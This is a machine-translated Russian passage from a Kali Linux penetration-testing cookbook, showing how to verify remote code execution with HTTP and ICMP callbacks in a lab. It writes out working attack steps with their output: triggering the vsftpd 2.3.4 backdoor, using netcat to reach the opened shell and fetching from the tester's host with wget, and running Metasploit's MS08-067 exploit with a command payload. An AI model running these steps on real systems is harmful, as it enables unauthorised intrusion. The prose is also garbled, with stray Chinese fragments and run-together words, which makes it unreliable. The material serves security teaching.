Большинство сканеров уязвимостей пытаются определить, уязвима ли система для конкретной атаки, оценивая несколько различных ответов. В некоторых случаях сканирование уязвимостей можно свести к установлению TCP-соединения с удаленным сервисом и выявлению известных версий уязвимости посредством самораскрывающихся сигнатур. В других случаях сложная серия конкретных пробных запросов может быть отправлена ​​удаленной службе в попытке запросить ответ, уникальный для службы, уязвимой для конкретной Проверка.Nessuscmd выполняет те же тесты, что и обычный интерфейс Nessus, при наличии определенного идентификатора плагина. Единственная разница заключается в способе выполнения сканирования уязвимостей.

5.6 Использование HTTP-взаимодействий для проверки уязвимостей

Для тестера на проникновение лучшим результатом для любой конкретной уязвимости является удаленное выполнение кода. Однако могут возникнуть ситуации, когда мы просто хотим определить, можно ли использовать уязвимость удаленного выполнения кода, но не хотим фактически отслеживать весь эксплойт и последующий процесс эксплойта. Один из способов сделать это — создать веб-сервер, который будет регистрировать взаимодействие и использовать заданный эксплойт для выполнения кода, который заставит удаленный хост взаимодействовать с веб-сервером. В этом рецепте объясняется, как написать собственный сценарий, который проверяет уязвимость удаленного выполнения кода с использованием HTTP-трафика.

Подготовить

Чтобы использовать уязвимость перекрестной проверки HTTP, вам необходимо, чтобы в системе работало программное обеспечение, уязвимое для удаленного выполнения кода. Кроме того, для этого раздела необходимо использовать текстовый редактор (например, VIMилиNano) записывает скрипт в файловую систему. Дополнительную информацию о написании скриптов см. в шпаргалке «Использовать текстовый редактор (VIMи Nano)» в первой главе этой книги.

Этапы работы

Прежде чем фактически использовать данную уязвимость, мы должны развернуть веб-сервер, который регистрирует взаимодействие с ней. Это можно сделать с помощью простого скрипта Python следующим образом:

Язык кода:javascript
копировать
#!/usr/bin/python

import socket

print "Awaiting connection...\n"

httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
httprecv.bind(("0.0.0.0",8000)) 
httprecv.listen(2)

(client, ( ip,sock)) = httprecv.accept() 
print "Received connection from : ", ip 
data = client.recv(4096) 
print str(data)

client.close() 
httprecv.close()

Этот скрипт Python использует библиотеку сокетов для создания веб-сервера, который прослушивает TCP на всех локальных интерфейсах. 8000 порт. Когда соединение получено от клиента, скрипт вернет IP-адрес клиента и отправленный запрос. Чтобы проверить уязвимость с помощью этого сценария, нам необходимо выполнить код, который позволит удаленной системе взаимодействовать с размещенным веб-сервисом. Но перед этим нам нужно запустить наш скрипт следующей командой:

Язык кода:javascript
копировать
root@KaliLinux:~# ./httprecv.py 
Awaiting connection... 

Далее нам нужно эксплуатировать уязвимость, которая приводит к удаленному выполнению кода. Просматривая результаты сканирования Nessus внутри окна Metasploitable2, мы видим, что работающая служба FTP имеет бэкдор, который можно запустить, указав имя пользователя со смайликом. Без шуток... на самом деле это включено в производственный сервис FTP. Чтобы попытаться воспользоваться этим, мы сначала подключимся к сервису, используя соответствующее имя пользователя, следующим образом:

Язык кода:javascript
копировать
root@KaliLinux:~# ftp 172.16.36.135 21 
Connected to 172.16.36.135. 
220 (vsFTPd 2.3.4) 
Name (172.16.36.135:root): Hutch:) 
331 Please specify the password. 
Password: 
^C 
421 Service not available, remote server has closed connection 

После попытки подключения к имени пользователя, содержащему смайлик, должен открыться бэкдор на TCP-порту 6200 удаленного хоста. Нам даже не нужно вводить пароль. Напротив,Ctrl + CМожно использовать для выходаFTPклиент,Затем используйтеNetcat может подключиться к открытому бэкдору.,Как показано ниже:

Язык кода:javascript
копировать
root@KaliLinux:~# nc 172.16.36.135 6200 
wget http://172.16.36.224:8000 
--04:18:18--  http://172.16.36.224:8000/
           => `index.html' 
Connecting to 172.16.36.224:8000... connected. 
HTTP request sent, awaiting response... No data received. 
Retrying.

--04:18:19--  http://172.16.36.224:8000/  
  (try: 2) => `index.html' 
Connecting to 172.16.36.224:8000... failed: Connection refused. 
^C

После установки TCP-соединения с открытым портом мы можем использовать наш скрипт, чтобы убедиться, что мы можем добиться удаленного выполнения кода. С этой целью мы стараемся HTTP Сервер обнаружения URL использоватьwget。 После попытки выполнить этот код мы можем убедиться, что HTTP-запрос был получен, просмотрев выходные данные сценария:

Язык кода:javascript
копировать
root@KaliLinux:~# ./httprecv.py 
Received connection from :  172.16.36.135 
GET / HTTP/1.0 
User-Agent: Wget/1.10.2 
Accept: */* 
Host: 172.16.36.224:8000 
Connection: Keep-Alive

Принцип работы

Идея этого сценария заключается в выявлении попыток подключения с удаленных хостов. Выполнение кода заставляет удаленную систему обратно подключаться к нашему прослушивающему серверу, и мы можем убедиться, что удаленное выполнение кода существует, воспользовавшись определенной уязвимостью. Не установлен на удаленном сервереwgetилиcurlслучай,Для идентификации удаленного выполнения кода могут потребоваться другие средства.

5.7 Использование ICMP-взаимодействий для проверки уязвимостей

Для тестера на проникновение лучшим результатом для любой конкретной уязвимости является удаленное выполнение кода. Однако могут возникнуть ситуации, когда мы просто хотим определить, можно ли использовать уязвимость удаленного выполнения кода, но не хотим фактически отслеживать весь эксплойт и последующий процесс эксплойта. Один из способов — запустить сценарий, который записывает ICMP-трафик, а затем отправляет его в удаленную систему. Этот рецепт демонстрирует, как написать собственный сценарий для проверки уязвимости удаленного выполнения кода с использованием ICMP-трафика.

Подготовить

Чтобы использовать уязвимость перекрестной аутентификации ICMP, вам необходимо программное обеспечение, работающее в системе, которое имеет уязвимость удаленного выполнения кода. Кроме того, для этого раздела необходимо использовать текстовый редактор (например, VIMилиNano) записывает скрипт в файловую систему. Дополнительную информацию о написании скриптов см. в шпаргалке «Использовать текстовый редактор (VIMи Nano)» в первой главе этой книги.

Этапы работы

Прежде чем фактически использовать данную уязвимость, мы должны развернуть сценарий, регистрирующий входящий ICMP-трафик. Это можно сделать с помощью простого скрипта Python с использованием Scapy следующим образом:

Язык кода:javascript
копировать
#!/usr/bin/python

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import *

def rules(pkt):   
    try:      
        if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
            print str(pkt[IP].src) + " is exploitable"  
    except:    
        pass

print "Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening"

sniff(lfilter=rules,store=0) 

Этот скрипт Python прослушивает весь входящий трафик и помечает источник любого ICMP-трафика, отправленного в сканируемую систему, как уязвимый. дляиспользовать此Скрипт验证漏洞是否能够利用,Нам нужно выполнить код,сделать удаленную системуpingнаш скансистема. Чтобы продемонстрировать это, мы можем использовать Metasploit использовать уязвимости удаленного выполнения кода. Но перед этим нам нужно запустить наш скрипт следующим образом:

Язык кода:javascript
копировать
root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening 

Далее нам нужно эксплуатировать уязвимость, которая приводит к удаленному выполнению кода. прошел проверку Windows XP в рамке Nessus По результатам сканирования мы видим, что система уязвима к MS08-067 Атаки на уязвимости. для验证这一点,насиспользоватьосуществлятьpingЗаказ的нагрузка,сделай этоpingнаш скан系统来利用漏洞,Как показано ниже:

Язык кода:javascript
копировать
msf > use exploit/windows/smb/ms08_067_netapi 
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/exec 
PAYLOAD => windows/exec 
msf  exploit(ms08_067_netapi) > set RHOST 172.16.36.225 
RHOST => 172.16.36.225 
msf  exploit(ms08_067_netapi) > set CMD cmd /c ping 172.16.36.224 -n 1
CMD => cmd /c ping 172.16.36.224 -n 1 
msf  exploit(ms08_067_netapi) > exploit

[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability... 

MetasploitКонфигурация использования виспользоватьwindows / execнагрузка,它在被利用系统中осуществлять代码。 Эта полезная нагрузка настроена на отправку одного эхо-запроса ICMP в нашу систему сканирования. После выполнения мы можем подтвердить, что эксплойт был успешным, просмотрев исходный скрипт, который все еще прослушивается, как показано ниже:

Язык кода:javascript
копировать
root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening 
172.16.36.225 is exploitable

Принцип работы

Идея этого сценария заключается в прослушивании входящего ICMP-трафика от удаленного хоста. Выполняя код, который заставляет удаленную систему отправлять эхо-запрос на наш прослушивающий сервер, мы можем убедиться, что удаленное выполнение кода можно использовать, воспользовавшись определенной уязвимостью.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose